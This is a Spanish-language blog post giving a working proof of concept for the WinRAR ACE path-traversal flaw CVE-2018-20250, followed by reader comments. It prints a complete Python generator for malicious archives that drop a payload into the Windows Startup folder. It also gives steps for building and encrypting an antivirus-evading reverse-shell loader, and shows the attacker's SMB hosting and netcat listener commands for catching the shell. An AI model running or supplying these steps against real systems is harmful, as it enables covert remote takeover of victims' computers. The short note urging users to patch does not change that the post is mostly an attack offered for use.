Power belongs to the people who take it

Remote Code Execution WinRAR (CVE-2018-20250) POC

Buenas, hoy os traigo la “prueba de concepto” de una vulnerabilidad que se encontró hace unos días en WinRar. Esta vulnerabilidad lleva desde hace 19 años y ha sido parcheada en la versión 5.70 beta 1, así que si sois usuarios de WinRar es muy importante que actualicéis el software.


Básicamente, esta vulnerabilidad nos permitirá extraer ficheros maliciosos en el directorio que queramos.
En research.checkpoint.com se describe en detalle así que nosotros nos limitaremos a demostrar cómo explotar la vulnerabilidad.
Nuestro directorio objetivo va a ser el de inicio (aun que podéis elegir el que queráis) ya que cuando la victima reinicie el ordenador se ejecutará lo queramos. Yo he elegido usar Salsa Tools de @CyberVaca_ como binario malicioso ya que con él obtendremos una shell reversa (con algunas funcionalidades extra como bypassear el AMSI) sin que el antivirus lo detecte.

Fases:

  • Crear el binario malicioso.
  • Crear el fichero ACE.
  • La victima reinicie el ordenador
  • Creando el binario

    Como dije antes, vamos a usar las Salsa-tools:
    Primero tenemos que compilar la librería EvilSalsa.dll (abrirla con Visual Studio y darle a compilar) y encriptarla con el EncrypterAssembly:

    python encrypterassembly.py EvilSalsa.dll CONTRASEÑA evil.txt

    Lo siguiente es compilar el SalseoLoader (yo lo he modificado para que obtenga los parámetros a partir de un fichero de texto llamado args.txt):

    Decidí ‘hostear’ el evil.txt (obtenido tras encriptar EvilSalsa.dll) a través de SMBServer pero hay otras opciones.

    SalseoLoader.exe CONTRASEÑA evil.txt ReverseTcp IP PUERTO

    Creando el fichero ACE – Método 1

    Usando el siguiente script podremos crear facilmente un ace que contenta los ficheros que deseemos:
    https://github.com/manulqwerty/Evil-WinRAR-Gen

    #!/usr/bin/env python3
    import acefile
    import argparse
    import binascii
    import struct
    import os
    
    class color:
        PURPLE = '\033[95m'
        CYAN = '\033[96m'
        DARKCYAN = '\033[36m'
        BLUE = '\033[94m'
        GREEN = '\033[92m'
        YELLOW = '\033[93m'
        RED = '\033[91m'
        BOLD = '\033[1m'
        UNDERLINE = '\033[4m'
        END = '\033[0m'
        
    def getArgs():
        parser = argparse.ArgumentParser(description='Evil WinRAR Archive Generator (CVE-2018-20250) - Target: WinRAR < 5.70 beta 1\nBy @manulqwerty - ironhackers.es')
        parser.add_argument('-o',dest='filename',type=str,help='Output filename - Default: evil.rar',default='evil.rar')
        parser.add_argument('-e',metavar='evil_file',nargs='+', dest='evil',type=str,help='Evil files',required=True)
        parser.add_argument('-g',metavar='good_file',nargs='+', dest='good',type=str,help='Good files',required=False)
        parser.add_argument('-p',dest='path',type=str,help='Path to uncompress the evil files - Default: C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\evil.exe',default='C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\\')
        return parser.parse_args()
        
    def printHeader():
        print(color.BOLD + color.GREEN + '''
              _ _  __      ___      ___    _   ___ 
      _____ _(_) | \ \    / (_)_ _ | _ \  /_\ | _ \\
     / -_) V / | |  \ \/\/ /| | ' \|   / / _ \|   /
     \___|\_/|_|_|   \_/\_/ |_|_||_|_|_\/_/ \_\_|_\\'''  + color.END + color.RED + 
     '''\n\n                                        by @manulqwerty\n\n''' + color.BLUE + color.BOLD + 
     '''----------------------------------------------------------------------\n''' + color.END)
        
        
    def writeShellcode(shellcode,filename):
        with open(filename , 'wb+') as f:
            f.write(binascii.unhexlify(shellcode))
    def addShellcode(shellcode,filename):
        with open(filename , 'ab+') as f:
            f.write(binascii.unhexlify(shellcode))
    def readShellcode(filename):
        with open (filename , 'rb') as f:
            return binascii.hexlify(f.read()).decode('utf-8').upper()
         
    def hex2raw(hex_value,N):
        hex_value = hex_value.zfill(N)
        return ''.join([hex_value[x-1:x+1] for x in range(len(hex_value)-1,0,-2)]).ljust(N,'0')
        
    def buildShellcode(filename , path=''):
        if path == '':
            path = filename
        hdr_crc_raw = '6789'
        hdr_size_raw = hex(len(path)+31)[2:]
        hdr_size_raw = hex2raw(hdr_size_raw,4)
        packsize_raw = hex(os.path.getsize(filename))[2:]
        packsize_raw = hex2raw(packsize_raw,8)
        origsize_raw = packsize_raw
        with open(filename,'rb') as f:
            crc32_raw = hex(acefile.ace_crc32(f.read()))[2:]
        crc32_raw = hex2raw(crc32_raw,8)
        filename_len_raw = hex(len(path))[2:]
        filename_len_raw = hex2raw(filename_len_raw,4)
        filename_raw = "".join("{:x}".format(ord(c)) for c in path)
        shellcode = hdr_crc_raw + hdr_size_raw + "010180" + packsize_raw \
                  + origsize_raw + "63B0554E20000000" + crc32_raw + "00030A005445"\
                  + filename_len_raw + filename_raw + "01020304050607080910A1A2A3A4A5A6A7A8A9"
        return shellcode
        
    def str2bytes(str_input):
        return binascii.a2b_hex(str_input.upper())
        
    def calCRC(shellcode):
        buf = str2bytes(shellcode)[:4]
        hcrc, hsize = struct.unpack('<HH', buf)
        buf = str2bytes(shellcode)[4:hsize+4]
        myHcrc = hex2raw(hex(acefile.ace_crc16(buf))[2:].upper(),4)
        return myHcrc
        
    def buildFile(filename, path, dest_filename):
        shellcode = buildShellcode (filename , path)
        addShellcode(shellcode,dest_filename)
        my_hcrc = calCRC(shellcode)
        hcrc_shellcode = shellcode.replace('6789',my_hcrc)
        content = readShellcode(dest_filename)
        content = content.replace('6789',my_hcrc)
        content = content.replace("01020304050607080910A1A2A3A4A5A6A7A8A9", readShellcode(filename))
        writeShellcode(content,dest_filename)
    
    if __name__ == '__main__':
        args = getArgs()
        printHeader()
        header_shellcode = '6B2831000000902A2A4143452A2A141402001018564E974FF6AA00000000162A554E524547495354455245442056455253494F4E2A'
        writeShellcode(header_shellcode,args.filename)
        
        if args.good:
            for i in args.good:
                buildFile(i,'',args.filename)
            
        for i in args.evil:
            path = args.path + i
            buildFile(i,path,args.filename)
        
        with acefile.open(args.filename) as f:
            for member in f:
                if member.is_dir():
                    continue
                if f.test(member):
                    exit
                else:
                    print("CRC FAIL:   %s" % member.filename)
                    
        print( color.YELLOW + '[+] Evil archive generated successfully: ' + args.filename )
        print('[+] Evil path: %s\n' % args.path + color.END)
    

    Creando el fichero ACE – Método 2

    Crearemos un ACE que descomprimirá nuestro SalsaLoader.exe en el directorio de inicio (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp) para esto tendremos que usar WinAce, podéis descargar el programa en: winace.com

    Abrimos el programa, clickamos en ‘Create’, seleccionamos los ficheros que queremos que contenga (con la opción Store Full Path) y clickamos en ‘Add’.

    El siguiente paso es modificar la extensión del fichero a rar (para que sea WinRar quien lo abra) y modificar el ACE con la ruta del directorio de inicio, para esto usaremos la plantilla para 010editor que encontramos en:
    https://github.com/360-A-Team/CVE-2018-20250

    Como veis en el GIF lo único que debemos hacer es modificar la ruta y hacer caso a lo que nos dice la plantilla.

    Ejecución

    Ahora solo queda establecer las escuchas del SMB y la Reversa y esperar a que la víctima descomprima el fichero y reinicie el ordenador:

    smbserver.py -smb2support EVIL .
    nc -lvp 8080


    Y voilà, se ejecuta el SalsaLoader.exe y obtenemos shell reversa sin que el antivirus se dé cuenta.

    POC – Método 1

    Windows Defender activado y actualizado (27 feb, 2019)

    POC – Método 2

    Windows Defender activado y actualizado (27 feb, 2019)

    ¿Me ayudas a compatirlo?

    5 comentarios

    1. msmm

      Can you share your exploit? I’d like to check if it’s correctly extract into startup folder.

      Gracias.

      • CyberVaca

        Muy bien explicadito Manu. Buen trabajo y gracias por usar la Salsa jejej

      • admin

        No, but you can do it yourself by reading the post or watching the video.

    2. 7Zip, Winrar alternative

      I think this is one of the reasons why I prefer 7zip. It’s available on PC, mac, linux, etc and is free and supported by a great community. Winrar is cool too, but it’s just not worth it when there are such good alternatives.

    3. Jonathan

      Is windows defender turned on?

      In my case WinDef signs the malicious file and deleted it.
      Any ideas?

      Thanks!

    Deja una respuesta

    Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

    Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

    © 2024 ironHackers

    Tema por Anders NorenArriba ↑